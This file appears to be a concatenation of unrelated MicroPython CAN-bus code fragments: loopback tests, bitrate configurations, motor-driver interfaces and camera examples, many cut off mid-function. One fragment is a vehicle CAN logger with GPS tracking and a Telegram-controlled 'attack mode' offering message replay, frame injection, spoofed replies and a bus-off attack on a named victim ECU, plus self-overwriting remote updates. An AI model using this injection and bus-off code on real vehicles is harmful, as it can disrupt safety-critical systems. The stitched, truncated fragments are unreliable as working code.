def __init__(self,
port=2,
data_rate=None,
host_id=2,
module_id=1,
debug=False,
can_mode=CanModeNormal()):
del data_rate
tmcl_interface.__init__(self, host_id, module_id, debug)
tmcl_host_interface.__init__(self, host_id, module_id, debug)
self.__silent = Pin(Pin.cpu.B14, Pin.OUT_PP)
self.__mode = can_mode
self.__flag_recv = False
self.__set_mode()
CAN.initfilterbanks(14)
self.__can = CAN(port, CAN.NORMAL)
# PCLK1 = 42 MHz, Module_Bitrate = 1000 kBit/s
# With prescaler = 3, bs1 = 11, bs2 = 2
# Sample point at 85.7 %, accuracy = 100 %
self.__can.init(CAN.NORMAL,
prescaler=3,
bs1=11,
bs2=2,
auto_restart=True)
self.__can.setfilter(0, CAN.LIST16, 0,
(host_id, host_id, host_id, host_id))
self.__can.rxcallback(0, self.__callback_recv)
def bitrate(self, bitrate=125):
if bitrate == 125:
# 125kpbs, PCLK1@42000000
self._canIf = CAN(self._canId,
CAN.NORMAL,
extframe=False,
prescaler=16,
sjw=1,
bs1=14,
bs2=6)
print('set can speed', bitrate)
elif bitrate == 250:
''' Init for 250 kbps <=> bit time 4 µs. If 42 MHz clk is prescaled by 21, we get 8 subparts 'tq'
of a bit time from theese parts (# tq): sync(1) + bs1(5) + bs2(2) = 8 * tq = 4µs => 250 kbps'''
self._canIf = CAN(self._canId,
CAN.NORMAL,
extframe=False,
prescaler=21,
sjw=1,
bs1=5,
bs2=2)
else:
print('CAN speed not found')
self._canIf.initfilterbanks(1)
return True
def init_cans():
can1 = CAN(1, CAN.NORMAL)
can2 = CAN(2, CAN.NORMAL)
can1.setfilter(0, CAN.LIST16, 0, (23, 24, 25, 26))
can1.setfilter(1, CAN.LIST16, 1, (33, 34, 35, 36))
return can1, can2
class canIf(object):
def __init__(self,canPort = 1):
# self._canIf = CAN(1, CAN.NORMAL, extframe=False, prescaler=16, sjw=1, bs1=14, bs2=6)
# self._canIf.setfilter(0, CAN.LIST16, 0, (124, 124, 124, 124))
self._canIf = None
self._canPort = canPort
def __del__(self):
self._canIf.deinit()
def bitrate(self, bitrate = 125):
if bitrate == 125:
# 125kpbs, PCLK1@42000000
self._canIf = CAN(self._canPort, CAN.NORMAL, extframe=False, prescaler=16, sjw=1, bs1=14, bs2=6)
print('set can speed', bitrate)
elif bitrate == 250:
''' Init for 250 kbps <=> bit time 4 µs. If 42 MHz clk is prescaled by 21, we get 8 subparts 'tq'
of a bit time from theese parts (# tq): sync(1) + bs1(5) + bs2(2) = 8 * tq = 4µs => 250 kbps'''
self._canIf = CAN(self._canPort, CAN.NORMAL, extframe=False, prescaler=21, sjw=1, bs1=5, bs2=2)
else:
print('CAN speed not found')
#self._canIf.initfilterbanks(14)
return True
def filter(self):
self._canIf.setfilter(0, CAN.LIST16, 0, (11,12,13,14))
self.rxcallback(0,self.callback)
return True
def callback(self):
print('Rx', self._canIf.recv(0, timeout=5000))
def init_cans():
can1 = CAN(1, CAN.NORMAL, prescaler=2, sjw=1, bs1=14, bs2=6)
can2 = CAN(2, CAN.NORMAL, prescaler=2, sjw=1, bs1=14, bs2=6)
can1.setfilter(0, CAN.LIST16, 0, (23, 24, 25, 26))
can1.setfilter(1, CAN.LIST16, 1, (33, 34, 35, 36))
# can1.rxcallback(0, cb10)
# can1.rxcallback(1, cb11)
# can2.rxcallback(0, cb2)
# can2.rxcallback(1, cb2)
return can1, can2
def __init__(self, devid):
self.can = CAN(2, CAN.NORMAL)
# Device id [0-63]
self.devid = devid
# Mode of the device
self.mode = 0
# Configuration data
self.config_simple_targets = 0
self.config_line_segments = 0
self.config_color_detect = 0
self.config_advanced_targets = 0
self.frame_counter = 0
# Buffer for receiving data in our callback.
self.read_buffer = bytearray(8)
self.read_data = [0, 0, 0, memoryview(self.read_buffer)]
# Initialize CAN based on which type of board we're on
if omv.board_type() == "H7":
print("H7 CAN Interface")
self.can.init(CAN.NORMAL,
extframe=True,
baudrate=1000000,
sampling_point=75) # 1000Kbps H7
#self.can.init(CAN.NORMAL, extframe=True, prescaler=4, sjw=1, bs1=8, bs2=3)
elif omv.board_type() == "M7":
self.can.init(CAN.NORMAL,
extframe=True,
prescaler=3,
sjw=1,
bs1=10,
bs2=7) # 1000Kbps on M7
self.can.setfilter(0, CAN.LIST32, 0, [
self.my_arb_id(self.api_id(1, 3)),
self.my_arb_id(self.api_id(1, 4))
])
print("M7 CAN Interface")
else:
print("CAN INTERFACE NOT INITIALIZED!")
self.can.restart()
def _init_cans():
can1 = CAN(1, CAN.NORMAL, prescaler=2, sjw=1, bs1=14, bs2=6)
can2 = CAN(2, CAN.NORMAL, prescaler=2, sjw=1, bs1=14, bs2=6)
can1.setfilter(0, CAN.LIST16, 0, (11, 12, 13, 14))
can1.setfilter(1, CAN.LIST16, 1, (21, 22, 23, 24))
can1.rxcallback(0, cb10)
# can1.rxcallback(1, cb11)
# can2.rxcallback(0, cb2)
# can2.rxcallback(1, cb2)
return can1, can2
def __init__(self,
port=1,
data_rate=None,
host_id=2,
module_id=1,
debug=False,
can_mode=CanModeNormal()):
del data_rate
tmcl_module_interface.__init__(self, host_id, module_id, debug)
tmcl_host_interface.__init__(self, host_id, module_id, debug)
self.__silent = Pin(Pin.cpu.B10, Pin.OUT_PP)
self.__mode = can_mode
self.__flag_recv = False
self.__can = None
CAN.initfilterbanks(14)
# PCLK1 = 42 MHz, Module_Bitrate = 1000 kBit/s
# With prescaler = 3, bs1 = 11, bs2 = 2
# Sample point at 85.7 %, accuracy = 100 %
if (isinstance(self.__mode, CanModeNormal)):
self.__silent.low()
self.__can = CAN(port, CAN.NORMAL)
self.__can.init(CAN.NORMAL,
prescaler=3,
bs1=11,
bs2=2,
auto_restart=True)
self.__can.setfilter(0, CAN.LIST16, 0,
(host_id, host_id, module_id, module_id))
elif (isinstance(self.__mode, CanModeSilent)):
self.__silent.high()
self.__can = CAN(port, CAN.SILENT)
self.__can.init(CAN.SILENT,
prescaler=3,
bs1=11,
bs2=2,
auto_restart=True)
self.__can.setfilter(0, CAN.LIST16, 0,
(host_id, host_id, module_id, module_id))
elif (isinstance(self.__mode, CanModeOff)):
raise ValueError() # Not supported by TJA1051T/3
self.__can.rxcallback(0, self.__callback_recv)
try:
from pyb import CAN
CAN(2)
except (ImportError, ValueError):
print("SKIP")
raise SystemExit
# Testing rtr messages
bus2 = CAN(2, CAN.LOOPBACK, extframe=True)
while bus2.any(0):
bus2.recv(0)
bus2.setfilter(0, CAN.LIST32, 0, (1, 2), rtr=(True, True))
bus2.setfilter(1, CAN.LIST32, 0, (3, 4), rtr=(True, False))
bus2.setfilter(2, CAN.MASK32, 0, (16, 16), rtr=(False, ))
bus2.setfilter(2, CAN.MASK32, 0, (32, 32), rtr=(True, ))
bus2.send("", 1, rtr=True)
print(bus2.recv(0))
bus2.send("", 2, rtr=True)
print(bus2.recv(0))
bus2.send("", 3, rtr=True)
print(bus2.recv(0))
bus2.send("", 4, rtr=True)
print(bus2.any(0))
from pyb import CAN
CAN.initfilterbanks(14)
can = CAN(1)
print(can)
can.init(CAN.LOOPBACK)
print(can)
print(can.any(0))
# Catch all filter
can.setfilter(0, CAN.MASK16, 0, (0, 0, 0, 0))
can.send("abcd", 123)
print(can.any(0))
print(can.recv(0))
can.send("abcd", -1)
print(can.recv(0))
can.send("abcd", 0x7FF + 1)
print(can.recv(0))
# Test too long message
try:
can.send("abcdefghi", 0x7FF)
except ValueError:
print("passed")
else:
print("failed")
""" @author: Ivo Weihert @date: 14.04.2018 @organisation: TU Darmstadt Space Technology e.V. Test script transmitting data from the accelometer via can bus on pyboard Note: run receiver first! can class documentation: https://docs.micropython.org/en/latest/pyboard/library/pyb.CAN.html Accel class documentation: http://docs.micropython.org/en/v1.9.3/pyboard/library/pyb.Accel.html """ from pyb import CAN accel = pyb.Accel() can = CAN(1, CAN.NORMAL) #select can 1 (Y3,Y4) in normal mode can.setfilter(0, CAN.LIST16, 0, (123, 124, 125, 126)) #(bank, mode, fifo, params, *, rtr) - important: fifo & ID's while (True): Data_X=str(accel.x()) #get the x value from the accelerometer can.send(Data_X,123) #send x-value via can bus, Axis Information is put in can ID 123=X, 124=Y, 125=Z pyb.delay(500) #delay for better visualization Data_Y=str(accel.y()) can.send(Data_Y,124) pyb.delay(500) Data_Z=str(accel.z()) can.send(Data_Z,125) pyb.delay(500)
try:
from pyb import CAN
except ImportError:
print("SKIP")
raise SystemExit
from uarray import array
import micropython
import pyb
# test we can correctly create by id (2 handled in can2.py test)
for bus in (-1, 0, 1, 3):
try:
CAN(bus, CAN.LOOPBACK)
print("CAN", bus)
except ValueError:
print("ValueError", bus)
CAN(1).deinit()
CAN.initfilterbanks(14)
can = CAN(1)
print(can)
# Test state when de-init'd
print(can.state() == can.STOPPED)
can.init(CAN.LOOPBACK)
print(can)
print(can.any(0))
# Test state when freshly created
# CAN Shield Example
#
# This example demonstrates CAN communications between two cameras.
# NOTE: you need two CAN transceiver shields and DB9 cable to run this example.
import time, omv
from pyb import CAN
# NOTE: Set to False on receiving node.
TRANSMITTER = True
can = CAN(2, CAN.NORMAL)
# Set a different baudrate (default is 250Kbps)
# NOTE: The following parameters are for the H7 only.
#
# can.init(CAN.NORMAL, prescaler=32, sjw=1, bs1=8, bs2=3) # 125Kbps
# can.init(CAN.NORMAL, prescaler=16, sjw=1, bs1=8, bs2=3) # 250Kbps
# can.init(CAN.NORMAL, prescaler=8, sjw=1, bs1=8, bs2=3) # 500Kbps
# can.init(CAN.NORMAL, prescaler=4, sjw=1, bs1=8, bs2=3) # 1000Kbps
can.restart()
if (TRANSMITTER):
while (True):
# Send message with id 1
can.send('Hello', 1)
time.sleep(1000)
else:
# Runs on the receiving node.
if (omv.board_type() == 'H7'): # FDCAN
try:
from pyb import CAN
except ImportError:
print('SKIP')
raise SystemExit
import pyb
# test we can correctly create by id or name
for bus in (-1, 0, 1, 2, 3, "YA", "YB", "YC"):
try:
CAN(bus, CAN.LOOPBACK)
print("CAN", bus)
except ValueError:
print("ValueError", bus)
CAN(1).deinit()
CAN.initfilterbanks(14)
can = CAN(1)
print(can)
can.init(CAN.LOOPBACK)
print(can)
print(can.any(0))
# Catch all filter
can.setfilter(0, CAN.MASK16, 0, (0, 0, 0, 0))
can.send('abcd', 123, timeout=5000)
print(can.any(0))
print(can.recv(0))
class CANLogger(object):
def __init__(self):
# Constants and variables #
# UART cmd to en-/disable the GPS
self.GPS_OFF = (0xB5, 0x62, 0x06, 0x04, 0x04, 0x00, 0x00, 0x00, 0x08,
0x00, 0x16, 0x74)
self.GPS_ON = (0xB5, 0x62, 0x06, 0x04, 0x04, 0x00, 0x00, 0x00, 0x09,
0x00, 0x17, 0x76)
self.SIM_DISABLED = False
self.GPS_LOG_TIME = 5000 # 5s
self.SHUTOFF_TIME = 30000 # 30s of no CAN activity
self.TOKEN = "REDACTED"
self.VERSION = 1.0
if 'sd' in os.listdir('/'):
self.PATH = '/sd/'
else:
self.PATH = ''
self.CAN_FILE = open(self.PATH + 'can.log', 'a+')
# This will hold CAN IDs to be filtered for in the can log
self.can_filter = []
self.allowed_users = ["610574975"]
self.interrupt = False
self.shutdown = False
# Init modules #
# GPS init
self.gps_uart = UART(1, 9600) # init with given baudrate
self.gps_uart.init(9600,
bits=8,
parity=None,
stop=1,
read_buf_len=512 // 2) # init with given parameters
self.gps = MicropyGPS()
# CAN init (500 MHz)
self.can = CAN(1, CAN.NORMAL) # recv
self.can2 = CAN(2, CAN.NORMAL) # send
self.can.init(CAN.NORMAL,
prescaler=4,
sjw=1,
bs1=14,
bs2=6,
auto_restart=True)
self.can2.init(CAN.NORMAL,
prescaler=4,
sjw=1,
bs1=14,
bs2=6,
auto_restart=True)
self.can.setfilter(0, CAN.MASK16, 0, (0, 0, 0, 0))
# SIM800L init
sim_uart = UART(4, 9600, timeout=1000, read_buf_len=2048 // 4)
self.modem = Modem(sim_uart)
self.modem.initialize()
try:
self.modem.connect('internet.eplus.de')
except:
self.SIM_DISABLED = True
print("LOG ONLY MODE (NO GSM)")
# Clock init
self.rtc = RTC()
self.rtc.wakeup(5000) # wakeup call every 5s
# Interrupt Flag init
self.interrupt = False
pyb.ExtInt('X5', pyb.ExtInt.IRQ_FALLING, pyb.Pin.PULL_UP,
self.incoming_call)
# Sleep pins for GSM
self.gsm_sleep = pyb.Pin('X6', pyb.Pin.OUT_PP)
self.gsm_sleep.value(0)
if not self.SIM_DISABLED:
# Software Update
self.ota()
# Telegram Bot
self.telegram = TelegramBot(token=self.TOKEN, modem=self.modem)
# Logs input to can.log
# args will be separated by comma and printed each time a new line
def log(self, *args, file='can.log'):
# With this case writing to can.log is quite a lot faster, as closing a file takes ages due to writing to fs
# But we must ensure to close the file at some point
if file is not 'can.log':
with open(self.PATH + file, 'a+') as f:
print(','.join(args), file=f)
os.sync()
else:
# ensure we have an open file
# if self.CAN_FILE.closed: # closed does not exists, thus need workaround below
try:
self.CAN_FILE.read()
except OSError:
self.CAN_FILE = open(self.PATH + 'can.log', 'a+')
print(','.join(args), file=self.CAN_FILE)
# Override is working
def ota(self):
url = 'https://raw.githubusercontent.com/jsonnet/CANLogger/master/version'
response = self.modem.http_request(url, 'GET')
# If a newer version is available
if float(response.text) > self.VERSION:
url = 'https://raw.githubusercontent.com/jsonnet/CANLogger/master/code/main.py'
response = self.modem.http_request(url, 'GET')
# Override existing main file and reboot
with open(self.PATH + 'main.py', 'w') as f:
print(response.text, file=f)
# Force buffer write and restart
os.sync()
machine.soft_reset()
# Callback function for incoming call to initiate attack mode
def incoming_call(self, _):
# Hangup call
self.modem.hangup()
# Reactivate logger if called during sleep phase
if self.shutdown:
self.shutdown = False
self.gsm_sleep.value(0)
self.sendGPSCmd(self.GPS_ON)
for u in self.allowed_users:
self.telegram.send(u, 'Ready in attack mode!')
# light up yellow to indicate attack mode
LED(3).intensity(16)
self.interrupt = True
# PoC for Telegram
def message_handler(self, messages):
for message in messages:
# Check permitted users
if message['id'] not in self.allowed_users:
continue
if message[2] == '/start':
self.telegram.send(
message[0], 'CAN Logger in attack mode, ready for you!')
else:
if message['text'] == "log":
params = message['text'].strip().split(" ")[1:]
# get
if params[0] == 'get':
self.telegram.sendFile(
message[0], open(self.PATH + 'can.log', 'rb'))
# with open(self.PATH + 'can.log', 'r') as f:
# data = f.read() # Okay, will print \n explicitly!
# self.telegram.send(message[0], data)
os.remove(self.PATH + 'can.log')
# clear
elif params[0] == 'clear':
os.remove(self.PATH + 'can.log')
else:
self.helpMessage(message)
elif message['text'] == "replay":
# Find first message of id and resend x times
params = message['text'].strip().split(" ")[1:]
if len(params) < 2:
self.helpMessage(message)
continue
id, times = params[0:1]
while True:
can_id, _, _, can_data = self.can.recv(0)
if can_id == id:
for _ in times:
self.can2.send(can_data, can_id, timeout=1000)
self.log("sent {} from {} {} times".format(
can_data, can_id, times))
break
elif message['text'] == "injection":
params = message['text'].split(" ")[1:]
if len(params) < 4:
self.helpMessage(message)
continue
can_id, can_data, times, _delay = params[0:2]
for _ in times:
self.can2.send(can_data, can_id, timeout=1000)
pyb.delay(_delay)
elif message['text'] == "reply":
params = message['text'].strip().split(" ")[1:]
if len(params) < 4:
self.helpMessage(message)
continue
id, message, id_a, answer = params[0:3]
while True:
can_id, _, _, can_data = self.can.recv(0)
if can_id == id and can_data == message:
self.can2.send(answer, id_a, timeout=1000)
break
elif message[
'text'] == "busoff": # TODO WIP feature only manual at that point
params = message['text'].strip().split(" ")[1:]
if len(params) < 4:
self.helpMessage(message)
continue
mark_id, vic_id, payload, _delay = params[0:3]
self.can.setfilter(0, CAN.LIST16, 0, (
mark_id,
vic_id,
))
# Clear buffer (maybe/hopefully)
for _ in range(5):
if not self.can.any(0):
break
self.can.recv(0)
count = 0
while count <= 5:
can_id, _, _, can_data = self.can.recv(0)
if can_id == mark_id:
pyb.delay(_delay)
self.can2.send(payload, vic_id, timeout=1000)
while True:
can_id, _, _, can_data = self.can.recv(0)
if can_id == vic_id and can_data != payload:
count = 0
break
count += 1
# reset filter
self.can.setfilter(0, CAN.MASK16, 0, (0, 0, 0, 0))
elif message['text'] == "filter": # CAN Log Filter by ID
params = message['text'].strip().split(" ")[1:]
# add
if params[0] == 'add':
for id in params[1:]:
self.can_filter.append(id)
# remove
elif params[0] == 'remove':
for id in params[1:]:
self.can_filter.remove(id)
# clear
elif params[0] == 'clear':
self.can_filter.clear()
else:
self.helpMessage(message)
elif message['text'] == "ota":
self.ota()
elif message['text'] == "help":
self.helpMessage(message)
elif message['text'] == "exit":
LED(3).off()
self.interrupt = False
self.telegram.send(message[0], 'Executed!')
def helpMessage(self, message):
helpme = """
log get|clear - Retrieve or clear saved can data log
replay id freq - Replay messages of given id
reply id message answer - Reply to a specified message with an answer
injection id data freq delay - Inject given can packet into bus at a given frequency
busoff marker victim payload freq - Manual BUS off attack for given victim
filter add|remove|clear id - Set a filter for when logging
ota - Check and update newest version
help - Displays this message
exit - Exit this mode and return to logging
"""
self.telegram.send(message[0], helpme)
def sendGPSCmd(self, cmd):
for i in range(len(cmd)):
self.gps_uart.writechar(cmd[i])
def loop(self):
gps_time = utime.ticks_ms()
while True:
# Check if new messages arrived after shutdown
if self.shutdown and not self.can.any(0):
pyb.stop() # soft sleep (500 uA)
continue
elif self.shutdown and self.can.any(0):
self.shutdown = False
self.gsm_sleep.value(0)
self.sendGPSCmd(self.GPS_ON)
# Main loop
if not self.interrupt:
# Free memory
# gc.collect()
## Logging mode ##
# Only log gps once a few seconds
if utime.ticks_ms() - gps_time >= self.GPS_LOG_TIME:
gps_time = utime.ticks_ms()
# if module retrieved data: update and log
if self.gps_uart.any():
self.gps.updateall(self.gps_uart.read())
self.log(str(self.rtc.datetime()),
self.gps.latitude_string(),
self.gps.longitude_string(),
self.gps.speed_string())
# Log new incoming can messages
try:
# throws OSError
can_id, _, _, can_data = self.can.recv(
0, timeout=self.SHUTOFF_TIME)
# Filter for CAN Log
if not self.can_filter or can_id in self.can_filter:
self.log(str(self.rtc.datetime()), str(can_id),
binascii.hexlify(can_data).decode('utf-8'))
except OSError:
# We timed out from can connection -> could mean car is shut down
self.shutdown = True
self.CAN_FILE.close()
os.sync()
self.gsm_sleep.value(1)
self.sendGPSCmd(self.GPS_OFF)
continue
else:
## Attack mode ##
self.CAN_FILE.close() # Close log file first
os.sync()
while self.interrupt:
self.telegram.listen(self.message_handler)
class can_tmcl_interface(tmcl_module_interface, tmcl_host_interface):
def __init__(self,
port=1,
data_rate=None,
host_id=2,
module_id=1,
debug=False,
can_mode=CanModeNormal()):
del data_rate
tmcl_module_interface.__init__(self, host_id, module_id, debug)
tmcl_host_interface.__init__(self, host_id, module_id, debug)
self.__silent = Pin(Pin.cpu.B10, Pin.OUT_PP)
self.__mode = can_mode
self.__flag_recv = False
self.__can = None
CAN.initfilterbanks(14)
# PCLK1 = 42 MHz, Module_Bitrate = 1000 kBit/s
# With prescaler = 3, bs1 = 11, bs2 = 2
# Sample point at 85.7 %, accuracy = 100 %
if (isinstance(self.__mode, CanModeNormal)):
self.__silent.low()
self.__can = CAN(port, CAN.NORMAL)
self.__can.init(CAN.NORMAL,
prescaler=3,
bs1=11,
bs2=2,
auto_restart=True)
self.__can.setfilter(0, CAN.LIST16, 0,
(host_id, host_id, module_id, module_id))
elif (isinstance(self.__mode, CanModeSilent)):
self.__silent.high()
self.__can = CAN(port, CAN.SILENT)
self.__can.init(CAN.SILENT,
prescaler=3,
bs1=11,
bs2=2,
auto_restart=True)
self.__can.setfilter(0, CAN.LIST16, 0,
(host_id, host_id, module_id, module_id))
elif (isinstance(self.__mode, CanModeOff)):
raise ValueError() # Not supported by TJA1051T/3
self.__can.rxcallback(0, self.__callback_recv)
def __enter__(self):
return self
def __exit__(self, exitType, value, traceback):
del exitType, value, traceback
self.close()
def close(self):
pass
def data_available(self, hostID=None, moduleID=None):
del hostID, moduleID
return self.__can.any(0)
def _send(self, hostID, moduleID, data):
del hostID, moduleID
self.__can.send(data[1:], data[0])
def __callback_recv(self, bus, reason):
if (reason != 0):
pass
self.__flag_recv = True
def _recv(self, hostID, moduleID):
del hostID, moduleID
while (not (self.__flag_recv)):
pass
self.__flag_recv = False
received = self.__can.recv(0, timeout=1000)
read = struct.pack("B", received[0]) + received[3]
return read
def printInfo(self):
pass
def enableDebug(self, enable):
self._debug = enable
def get_mode(self):
return self.__mode
def get_can(self):
return self.__can
@staticmethod
def supportsTMCL():
return True
@staticmethod
def supportsCANopen():
return False
@staticmethod
def available_ports():
return set([2])
from time import sleep_ms
import struct
k = 0
def cb0(bus, reason):
'''
print('cb0')
if reason == 0:
print('pending')
if reason == 1:
print('full')
if reason == 2:
print('overflow')
'''
global k
k = 1
CAN(1).deinit()
can = CAN(1)
can.init(mode=CAN.NORMAL, extframe=False, prescaler=3, sjw=1, bs1=9, bs2=4)
# Baudrate is pyb.freq() / (sjw + bs1 + bs2) / prescaler = 1Mbps
can.setfilter(bank=0, mode=CAN.MASK16, fifo=0, params=(0, 0, 0, 0))
can.rxcallback(0, cb0)
while True:
if k == 1:
print(struct.unpack('<L', can.recv(0)[3])[0])
k = 0
from pyb import CAN
can = CAN(1)
print(can)
can.init(CAN.LOOPBACK)
print(can)
print(can.any(0))
can.send('abcd', 123)
print(can.any(0))
print(can.recv(0))
can.send('abcd', -1)
print(can.recv(0))
can.send('abcd', 0x7FF + 1)
print(can.recv(0))
#Test too long message
try:
can.send('abcdefghi', 0x7FF)
except ValueError:
print('passed')
else:
print('failed')
del can
#Testing extended IDs
can = CAN(1, CAN.LOOPBACK, extframe=True)
# https://github.com/hmaerki/micropython/tree/master/canbus_example
from pyb import CAN
from pyb import LED
import pyb
import micropython
DESTINATION_CAN_ID = 123
ledBlue = LED(1)
switch = pyb.Switch()
# 50kBaud
can = CAN(1, CAN.NORMAL, extframe=False, prescaler=40, sjw=1, bs1=14, bs2=6)
print("Press Switch to send CAN-telegrams, press <ctrl-c> to abort.")
lastValue = None
while True:
newValue = switch.value()
if lastValue != newValue:
lastValue = newValue
if newValue:
ledBlue.on()
telegram = b'on'
else:
ledBlue.off()
telegram = b'off'
#16x2 Display v1.0p test code
from pyb import Pin, delay, millis, CAN
from pyb_gpio_lcd import GpioLcd
import utime
print("16x2 Display v1.0p test code")
print("v1.0")
print("initializing")
can = CAN(1, CAN.NORMAL, extframe=True, prescaler=12, bs1=11, bs2=2)
can.setfilter(0, CAN.MASK32, 0, (0, 0))
#Setup Pins
hbt_led = Pin("D13", Pin.OUT)
func_butt = Pin("D5", Pin.IN, Pin.PULL_UP)
can_wakeup = Pin("D6", Pin.OUT)
can_wakeup.value(0)
#Setup hbt timer
hbt_state = 0
hbt_interval = 500
start = utime.ticks_ms()
next_hbt = utime.ticks_add(start, hbt_interval)
hbt_led.value(hbt_state)
lcd_mess = ''
print("starting")
#Setup LCD
lcd = GpioLcd(rs_pin=Pin.board.D1,
enable_pin=Pin.board.D0,
from pyb import CAN
can = CAN(1)
print(can)
can.init(CAN.LOOPBACK)
print(can.any(0))
can.send('abcd', 123)
print(can.any(0))
print(can.recv(0))
raise SystemExit
from array import array
import micropython
import pyb
# test we can correctly create by id or name
for bus in (-1, 0, 1, 2, 3, "YA", "YB", "YC"):
try:
CAN(bus, CAN.LOOPBACK)
print("CAN", bus)
except ValueError:
print("ValueError", bus)
CAN(1).deinit()
CAN.initfilterbanks(14)
can = CAN(1)
print(can)
# Test state when de-init'd
print(can.state() == can.STOPPED)
can.init(CAN.LOOPBACK)
print(can)
print(can.any(0))
# Test state when freshly created
print(can.state() == can.ERROR_ACTIVE)
# Test that restart can be called
can.restart()
try:
from pyb import CAN
except ImportError:
print('SKIP')
raise SystemExit
from uarray import array
import micropython
import pyb
# test we can correctly create by id or name
for bus in (-1, 0, 1, 2, 3, "YA", "YB", "YC"):
try:
CAN(bus, CAN.LOOPBACK)
print("CAN", bus)
except ValueError:
print("ValueError", bus)
CAN(1).deinit()
CAN.initfilterbanks(14)
can = CAN(1)
print(can)
# Test state when de-init'd
print(can.state() == can.STOPPED)
can.init(CAN.LOOPBACK)
print(can)
print(can.any(0))
# Test state when freshly created
# CAN Shield Example
#
# This example demonstrates CAN communications between two cameras.
# NOTE: you need two CAN transceiver shields and DB9 cable to run this example.
import time, omv
from pyb import CAN
# NOTE: Set to False on receiving node.
TRANSMITTER = True
can = CAN(2, CAN.NORMAL, baudrate=125_000, sample_point=75)
# NOTE: uncomment to set bit timing manually, for example:
#can.init(CAN.NORMAL, prescaler=32, sjw=1, bs1=8, bs2=3)
can.restart()
if (TRANSMITTER):
while (True):
# Send message with id 1
can.send('Hello', 1)
time.sleep_ms(1000)
else:
# Runs on the receiving node.
if (omv.board_type() == 'H7'): # FDCAN
# Set a filter to receive messages with id=1 -> 4
# Filter index, mode (RANGE, DUAL or MASK), FIFO (0 or 1), params
can.setfilter(0, CAN.RANGE, 0, (1, 4))
else:
# Set a filter to receive messages with id=1, 2, 3 and 4
# Filter index, mode (LIST16, etc..), FIFO (0 or 1), params
from pyb import CAN
import pyb
CAN.initfilterbanks(14)
can = CAN(1)
print(can)
can.init(CAN.LOOPBACK)
print(can)
print(can.any(0))
# Catch all filter
can.setfilter(0, CAN.MASK16, 0, (0, 0, 0, 0))
can.send('abcd', 123, timeout=5000)
print(can.any(0))
print(can.recv(0))
can.send('abcd', -1, timeout=5000)
print(can.recv(0))
can.send('abcd', 0x7FF + 1, timeout=5000)
print(can.recv(0))
# Test too long message
try:
can.send('abcdefghi', 0x7FF, timeout=5000)
except ValueError:
print('passed')
else:
print('failed')
from pyb import CAN
can = CAN(1)
print(can)
can.init(CAN.LOOPBACK)
print(can)
print(can.any(0))
can.send('abcd', 123)
print(can.any(0))
print(can.recv(0))
can.send('abcd', -1)
print(can.recv(0))
can.send('abcd', 0x7FF + 1)
print(can.recv(0))
#Test too long message
try:
can.send('abcdefghi', 0x7FF)
except ValueError:
print('passed')
else:
print('failed')
del can
#Testing extended IDs
can = CAN(1, CAN.LOOPBACK, extframe = True)
'''
description: 根据传家宝007_Elmo改写的MPY平台上的Elmo驱动
status: 未完成
issue: 报文发送失败，FIFO溢出
'''
from pyb import Pin, CAN
can = CAN(1)
can.init(mode=CAN.NORMAL, prescaler=3, sjw=1, bs1=9, bs2=4)
# Baudrate is pyb.freq() / (sjw + bs1 + bs2) / prescaler = 1Mbps
can.setfilter(bank=0, mode=CAN.MASK32, fifo=0, params=(0x0, 0x0))
COBID_NMT = 0x000
COBID_RSDO = 0x600
COBID_RPDO2 = 0x300
NMT_OPERATIONAL = 1
NMT_RESET_COMMUNICATION = 130
def NMT(elmoID, cmd):
nmt = bytearray(2)
nmt[0] = cmd
nmt[1] = elmoID # Elmo ID
can.send(nmt, id=COBID_NMT)
def RSDO(elmoID, index, subIndex, data):
rsdo = bytearray(8)
rsdo[0] = 0x22
rsdo[1] = index & 0xFF
from pyb import CAN
import pyb
# test we can correctly create by id or name
for bus in (-1, 0, 1, 2, 3, "YA", "YB", "YC"):
try:
CAN(bus, CAN.LOOPBACK)
print("CAN", bus)
except ValueError:
print("ValueError", bus)
CAN(1).deinit()
CAN.initfilterbanks(14)
can = CAN(1)
print(can)
can.init(CAN.LOOPBACK)
print(can)
print(can.any(0))
# Catch all filter
can.setfilter(0, CAN.MASK16, 0, (0, 0, 0, 0))
can.send("abcd", 123, timeout=5000)
print(can.any(0))
print(can.recv(0))
can.send("abcd", -1, timeout=5000)
print(can.recv(0))
can.send("abcd", 0x7FF + 1, timeout=5000)
def __init__(self):
# Constants and variables #
# UART cmd to en-/disable the GPS
self.GPS_OFF = (0xB5, 0x62, 0x06, 0x04, 0x04, 0x00, 0x00, 0x00, 0x08,
0x00, 0x16, 0x74)
self.GPS_ON = (0xB5, 0x62, 0x06, 0x04, 0x04, 0x00, 0x00, 0x00, 0x09,
0x00, 0x17, 0x76)
self.SIM_DISABLED = False
self.GPS_LOG_TIME = 5000 # 5s
self.SHUTOFF_TIME = 30000 # 30s of no CAN activity
self.TOKEN = "REDACTED"
self.VERSION = 1.0
if 'sd' in os.listdir('/'):
self.PATH = '/sd/'
else:
self.PATH = ''
self.CAN_FILE = open(self.PATH + 'can.log', 'a+')
# This will hold CAN IDs to be filtered for in the can log
self.can_filter = []
self.allowed_users = ["610574975"]
self.interrupt = False
self.shutdown = False
# Init modules #
# GPS init
self.gps_uart = UART(1, 9600) # init with given baudrate
self.gps_uart.init(9600,
bits=8,
parity=None,
stop=1,
read_buf_len=512 // 2) # init with given parameters
self.gps = MicropyGPS()
# CAN init (500 MHz)
self.can = CAN(1, CAN.NORMAL) # recv
self.can2 = CAN(2, CAN.NORMAL) # send
self.can.init(CAN.NORMAL,
prescaler=4,
sjw=1,
bs1=14,
bs2=6,
auto_restart=True)
self.can2.init(CAN.NORMAL,
prescaler=4,
sjw=1,
bs1=14,
bs2=6,
auto_restart=True)
self.can.setfilter(0, CAN.MASK16, 0, (0, 0, 0, 0))
# SIM800L init
sim_uart = UART(4, 9600, timeout=1000, read_buf_len=2048 // 4)
self.modem = Modem(sim_uart)
self.modem.initialize()
try:
self.modem.connect('internet.eplus.de')
except:
self.SIM_DISABLED = True
print("LOG ONLY MODE (NO GSM)")
# Clock init
self.rtc = RTC()
self.rtc.wakeup(5000) # wakeup call every 5s
# Interrupt Flag init
self.interrupt = False
pyb.ExtInt('X5', pyb.ExtInt.IRQ_FALLING, pyb.Pin.PULL_UP,
self.incoming_call)
# Sleep pins for GSM
self.gsm_sleep = pyb.Pin('X6', pyb.Pin.OUT_PP)
self.gsm_sleep.value(0)
if not self.SIM_DISABLED:
# Software Update
self.ota()
# Telegram Bot
self.telegram = TelegramBot(token=self.TOKEN, modem=self.modem)
class canIf(object):
def __init__(self,canId = 1):
